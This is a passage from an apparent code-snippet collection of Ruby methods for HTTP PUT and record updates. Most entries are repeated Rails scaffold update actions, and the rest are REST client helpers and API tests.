format.html { redirect_to(@post156, :notice => 'Post156 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post156.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def update\n @post182 = Post182.find(params[:id])\n\n respond_to do |format|\n if @post182.update_attributes(params[:post182])\n format.html { redirect_to(@post182, :notice => 'Post182 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post182.errors, :status => :unprocessable_entity }\n end\n end\n end", "def override\n document_id = params[:document_id]\n document = params[:document]\n document_type = params[:document_type]\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename if document\n xml.summary document_type\n if document\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n end\n }\n end\n\n url = Document::PATH + \"cmis/i/#{document_id}?alf_ticket=\" + ticket\n\n begin\n RestClient.put url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error updating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end", "def update\n @post275 = Post275.find(params[:id])\n\n respond_to do |format|\n if @post275.update_attributes(params[:post275])\n format.html { redirect_to(@post275, :notice => 'Post275 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post275.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post174 = Post174.find(params[:id])\n\n respond_to do |format|\n if @post174.update_attributes(params[:post174])\n format.html { redirect_to(@post174, :notice => 'Post174 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post174.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post328 = Post328.find(params[:id])\n\n respond_to do |format|\n if @post328.update_attributes(params[:post328])\n format.html { redirect_to(@post328, :notice => 'Post328 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post328.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post483 = Post483.find(params[:id])\n\n respond_to do |format|\n if @post483.update_attributes(params[:post483])\n format.html { redirect_to(@post483, :notice => 'Post483 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post483.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post150 = Post150.find(params[:id])\n\n respond_to do |format|\n if @post150.update_attributes(params[:post150])\n format.html { redirect_to(@post150, :notice => 'Post150 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post150.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post183 = Post183.find(params[:id])\n\n respond_to do |format|\n if @post183.update_attributes(params[:post183])\n format.html { redirect_to(@post183, :notice => 'Post183 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post183.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post295 = Post295.find(params[:id])\n\n respond_to do |format|\n if @post295.update_attributes(params[:post295])\n format.html { redirect_to(@post295, :notice => 'Post295 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post295.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def put(*args)\n request :put, *args\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n @post176 = Post176.find(params[:id])\n\n respond_to do |format|\n if @post176.update_attributes(params[:post176])\n format.html { redirect_to(@post176, :notice => 'Post176 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post176.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end", "def update\n @post326 = Post326.find(params[:id])\n\n respond_to do |format|\n if @post326.update_attributes(params[:post326])\n format.html { redirect_to(@post326, :notice => 'Post326 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post326.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def update\n @post181 = Post181.find(params[:id])\n\n respond_to do |format|\n if @post181.update_attributes(params[:post181])\n format.html { redirect_to(@post181, :notice => 'Post181 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post181.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post272 = Post272.find(params[:id])\n\n respond_to do |format|\n if @post272.update_attributes(params[:post272])\n format.html { redirect_to(@post272, :notice => 'Post272 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post272.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post310 = Post310.find(params[:id])\n\n respond_to do |format|\n if @post310.update_attributes(params[:post310])\n format.html { redirect_to(@post310, :notice => 'Post310 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post310.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(uri, payload)\n url = \"#{@config[:base_url]}#{@config[:rest_path]}/#{extract_pid(uri)}\"\n request = Request.new(\n \"Put\", url, payload.to_s, {\n \"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/json\",\n \"Content-Length\" => \"nnnn\",\n @auth_header => @token\n }\n )\n response = request.perform\n response\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update\n @post193 = Post193.find(params[:id])\n\n respond_to do |format|\n if @post193.update_attributes(params[:post193])\n format.html { redirect_to(@post193, :notice => 'Post193 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post193.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post217 = Post217.find(params[:id])\n\n respond_to do |format|\n if @post217.update_attributes(params[:post217])\n format.html { redirect_to(@post217, :notice => 'Post217 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post217.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post168 = Post168.find(params[:id])\n\n respond_to do |format|\n if @post168.update_attributes(params[:post168])\n format.html { redirect_to(@post168, :notice => 'Post168 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post168.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post154 = Post154.find(params[:id])\n\n respond_to do |format|\n if @post154.update_attributes(params[:post154])\n format.html { redirect_to(@post154, :notice => 'Post154 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post154.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post318 = Post318.find(params[:id])\n\n respond_to do |format|\n if @post318.update_attributes(params[:post318])\n format.html { redirect_to(@post318, :notice => 'Post318 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post318.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post245 = Post245.find(params[:id])\n\n respond_to do |format|\n if @post245.update_attributes(params[:post245])\n format.html { redirect_to(@post245, :notice => 'Post245 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post245.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post481 = Post481.find(params[:id])\n\n respond_to do |format|\n if @post481.update_attributes(params[:post481])\n format.html { redirect_to(@post481, :notice => 'Post481 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post481.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post262 = Post262.find(params[:id])\n\n respond_to do |format|\n if @post262.update_attributes(params[:post262])\n format.html { redirect_to(@post262, :notice => 'Post262 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post262.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post81 = Post81.find(params[:id])\n\n respond_to do |format|\n if @post81.update_attributes(params[:post81])\n format.html { redirect_to(@post81, :notice => 'Post81 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post81.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end", "def update\n @post472 = Post472.find(params[:id])\n\n respond_to do |format|\n if @post472.update_attributes(params[:post472])\n format.html { redirect_to(@post472, :notice => 'Post472 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post472.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post57 = Post57.find(params[:id])\n\n respond_to do |format|\n if @post57.update_attributes(params[:post57])\n format.html { redirect_to(@post57, :notice => 'Post57 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post57.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post335 = Post335.find(params[:id])\n\n respond_to do |format|\n if @post335.update_attributes(params[:post335])\n format.html { redirect_to(@post335, :notice => 'Post335 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post335.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post321 = Post321.find(params[:id])\n\n respond_to do |format|\n if @post321.update_attributes(params[:post321])\n format.html { redirect_to(@post321, :notice => 'Post321 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post321.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post322 = Post322.find(params[:id])\n\n respond_to do |format|\n if @post322.update_attributes(params[:post322])\n format.html { redirect_to(@post322, :notice => 'Post322 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post322.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post78 = Post78.find(params[:id])\n\n respond_to do |format|\n if @post78.update_attributes(params[:post78])\n format.html { redirect_to(@post78, :notice => 'Post78 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post78.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post197 = Post197.find(params[:id])\n\n respond_to do |format|\n if @post197.update_attributes(params[:post197])\n format.html { redirect_to(@post197, :notice => 'Post197 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post197.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post231 = Post231.find(params[:id])\n\n respond_to do |format|\n if @post231.update_attributes(params[:post231])\n format.html { redirect_to(@post231, :notice => 'Post231 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post231.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post227 = Post227.find(params[:id])\n\n respond_to do |format|\n if @post227.update_attributes(params[:post227])\n format.html { redirect_to(@post227, :notice => 'Post227 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post227.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n @post260 = Post260.find(params[:id])\n\n respond_to do |format|\n if @post260.update_attributes(params[:post260])\n format.html { redirect_to(@post260, :notice => 'Post260 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post260.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post284 = Post284.find(params[:id])\n\n respond_to do |format|\n if @post284.update_attributes(params[:post284])\n format.html { redirect_to(@post284, :notice => 'Post284 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post284.errors, :status => :unprocessable_entity }\n end\n end\n end", "def template_update(id, type, filename)\n check_id_or_raise id\n check_template_type_or_raise type\n check_filename_or_raise filename\n response = http_request_multipart :put, @base_url + \"/templates/#{id}.xml\", 200,\n { :provider_key => @provider_key,\n :draft => File.read(filename), \n :multipart => true}\n puts 'at update call'\n _id, _updated_at = parse_response response, type\n response = http_request :put, \"#{@base_url}/templates/#{id}/publish\", 200,\n { :params => { :provider_key => @provider_key } }\n puts 'at publish call'\n parse_response response, 'page'\n end", "def update\n @post297 = Post297.find(params[:id])\n\n respond_to do |format|\n if @post297.update_attributes(params[:post297])\n format.html { redirect_to(@post297, :notice => 'Post297 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post297.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post267 = Post267.find(params[:id])\n\n respond_to do |format|\n if @post267.update_attributes(params[:post267])\n format.html { redirect_to(@post267, :notice => 'Post267 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post267.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post105 = Post105.find(params[:id])\n\n respond_to do |format|\n if @post105.update_attributes(params[:post105])\n format.html { redirect_to(@post105, :notice => 'Post105 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post105.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post184 = Post184.find(params[:id])\n\n respond_to do |format|\n if @post184.update_attributes(params[:post184])\n format.html { redirect_to(@post184, :notice => 'Post184 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post184.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post120 = Post120.find(params[:id])\n\n respond_to do |format|\n if @post120.update_attributes(params[:post120])\n format.html { redirect_to(@post120, :notice => 'Post120 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post120.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end", "def update\n @post276 = Post276.find(params[:id])\n\n respond_to do |format|\n if @post276.update_attributes(params[:post276])\n format.html { redirect_to(@post276, :notice => 'Post276 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post276.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post273 = Post273.find(params[:id])\n\n respond_to do |format|\n if @post273.update_attributes(params[:post273])\n format.html { redirect_to(@post273, :notice => 'Post273 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post273.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post278 = Post278.find(params[:id])\n\n respond_to do |format|\n if @post278.update_attributes(params[:post278])\n format.html { redirect_to(@post278, :notice => 'Post278 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post278.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post107 = Post107.find(params[:id])\n\n respond_to do |format|\n if @post107.update_attributes(params[:post107])\n format.html { redirect_to(@post107, :notice => 'Post107 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post107.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post377 = Post377.find(params[:id])\n\n respond_to do |format|\n if @post377.update_attributes(params[:post377])\n format.html { redirect_to(@post377, :notice => 'Post377 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post377.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post101 = Post101.find(params[:id])\n\n respond_to do |format|\n if @post101.update_attributes(params[:post101])\n format.html { redirect_to(@post101, :notice => 'Post101 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post101.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post228 = Post228.find(params[:id])\n\n respond_to do |format|\n if @post228.update_attributes(params[:post228])\n format.html { redirect_to(@post228, :notice => 'Post228 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post228.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post72 = Post72.find(params[:id])\n\n respond_to do |format|\n if @post72.update_attributes(params[:post72])\n format.html { redirect_to(@post72, :notice => 'Post72 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post72.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post350 = Post350.find(params[:id])\n\n respond_to do |format|\n if @post350.update_attributes(params[:post350])\n format.html { redirect_to(@post350, :notice => 'Post350 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post350.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post248 = Post248.find(params[:id])\n\n respond_to do |format|\n if @post248.update_attributes(params[:post248])\n format.html { redirect_to(@post248, :notice => 'Post248 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post248.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post215 = Post215.find(params[:id])\n\n respond_to do |format|\n if @post215.update_attributes(params[:post215])\n format.html { redirect_to(@post215, :notice => 'Post215 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post215.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post409 = Post409.find(params[:id])\n\n respond_to do |format|\n if @post409.update_attributes(params[:post409])\n format.html { redirect_to(@post409, :notice => 'Post409 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post409.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def update\n @post287 = Post287.find(params[:id])\n\n respond_to do |format|\n if @post287.update_attributes(params[:post287])\n format.html { redirect_to(@post287, :notice => 'Post287 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post287.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post253 = Post253.find(params[:id])\n\n respond_to do |format|\n if @post253.update_attributes(params[:post253])\n format.html { redirect_to(@post253, :notice => 'Post253 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post253.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post342 = Post342.find(params[:id])\n\n respond_to do |format|\n if @post342.update_attributes(params[:post342])\n format.html { redirect_to(@post342, :notice => 'Post342 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post342.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post143 = Post143.find(params[:id])\n\n respond_to do |format|\n if @post143.update_attributes(params[:post143])\n format.html { redirect_to(@post143, :notice => 'Post143 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post143.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(attributes = {})\n set_all(attributes)\n update_options = {\n 'If-Match' => @data.delete('eTag'),\n 'Body' => @data\n }\n response = @client.rest_put(@data['uri'], update_options, @api_version)\n body = @client.response_handler(response)\n set_all(body)\n end", "def put(*args)\n request(:put, *args)\n end", "def put(id:, url_variables:, body:)\n ensure_service_document\n end", "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @post349 = Post349.find(params[:id])\n\n respond_to do |format|\n if @post349.update_attributes(params[:post349])\n format.html { redirect_to(@post349, :notice => 'Post349 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post349.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post436 = Post436.find(params[:id])\n\n respond_to do |format|\n if @post436.update_attributes(params[:post436])\n format.html { redirect_to(@post436, :notice => 'Post436 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post436.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post74 = Post74.find(params[:id])\n\n respond_to do |format|\n if @post74.update_attributes(params[:post74])\n format.html { redirect_to(@post74, :notice => 'Post74 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post74.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post251 = Post251.find(params[:id])\n\n respond_to do |format|\n if @post251.update_attributes(params[:post251])\n format.html { redirect_to(@post251, :notice => 'Post251 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post251.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post139 = Post139.find(params[:id])\n\n respond_to do |format|\n if @post139.update_attributes(params[:post139])\n format.html { redirect_to(@post139, :notice => 'Post139 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post139.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n doc = Nokogiri::XML(request.body)\n id= (doc/'id').text\n # p = Post.exists?(id) ? Post.find(id) : Post.new\n p= Post.find_or_create_by_intranet_id id\n p.update_attributes :subject => (doc/'subject').text,\n :body => (doc/'body').text, :post_type => (doc/'post-type').text,\n :pic => (doc/'pic') .text, :begin_on=>(doc/'begin-on').text,\n :pic_postimg => (doc/'pic-postimg').text,\n :video => (doc/'video').text, \n :end_on => (doc/'end-on').text, :stick => (doc/'stick').text \n render :text => \"ok\"\n end", "def update\n @post106 = Post106.find(params[:id])\n\n respond_to do |format|\n if @post106.update_attributes(params[:post106])\n format.html { redirect_to(@post106, :notice => 'Post106 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post106.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post306 = Post306.find(params[:id])\n\n respond_to do |format|\n if @post306.update_attributes(params[:post306])\n format.html { redirect_to(@post306, :notice => 'Post306 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post306.errors, :status => :unprocessable_entity }\n end\n end\n end", "def solveticket(assigneeid, ticketidxml)\n\n raise ArgumentError.new(\"no assignee is present\") if assigneeid.empty?\n raise ArgumentError.new(\"ticketid is present text provided\") if ticketidxml.empty?\n\n xml = createsolvedticketxml(assigneeid)\n\n begin\n resource = RestClient::Resource.new @hostname, @username, @password\n url = 'tickets/'+ ticketidxml\n httpresponse = resource[url].put xml.to_s, :content_type => 'application/xml', :accept => '*/*'\n processresponse(httpresponse) # call success handler\n rescue => e\n processerror(e) # call error handler\n end\n\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def update\n @post85 = Post85.find(params[:id])\n\n respond_to do |format|\n if @post85.update_attributes(params[:post85])\n format.html { redirect_to(@post85, :notice => 'Post85 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post85.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post453 = Post453.find(params[:id])\n\n respond_to do |format|\n if @post453.update_attributes(params[:post453])\n format.html { redirect_to(@post453, :notice => 'Post453 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post453.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post246 = Post246.find(params[:id])\n\n respond_to do |format|\n if @post246.update_attributes(params[:post246])\n format.html { redirect_to(@post246, :notice => 'Post246 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post246.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @post288 = Post288.find(params[:id])\n\n respond_to do |format|\n if @post288.update_attributes(params[:post288])\n format.html { redirect_to(@post288, :notice => 'Post288 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post288.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post75 = Post75.find(params[:id])\n\n respond_to do |format|\n if @post75.update_attributes(params[:post75])\n format.html { redirect_to(@post75, :notice => 'Post75 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post75.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post77 = Post77.find(params[:id])\n\n respond_to do |format|\n if @post77.update_attributes(params[:post77])\n format.html { redirect_to(@post77, :notice => 'Post77 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post77.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post230 = Post230.find(params[:id])\n\n respond_to do |format|\n if @post230.update_attributes(params[:post230])\n format.html { redirect_to(@post230, :notice => 'Post230 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post230.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post116 = Post116.find(params[:id])\n\n respond_to do |format|\n if @post116.update_attributes(params[:post116])\n format.html { redirect_to(@post116, :notice 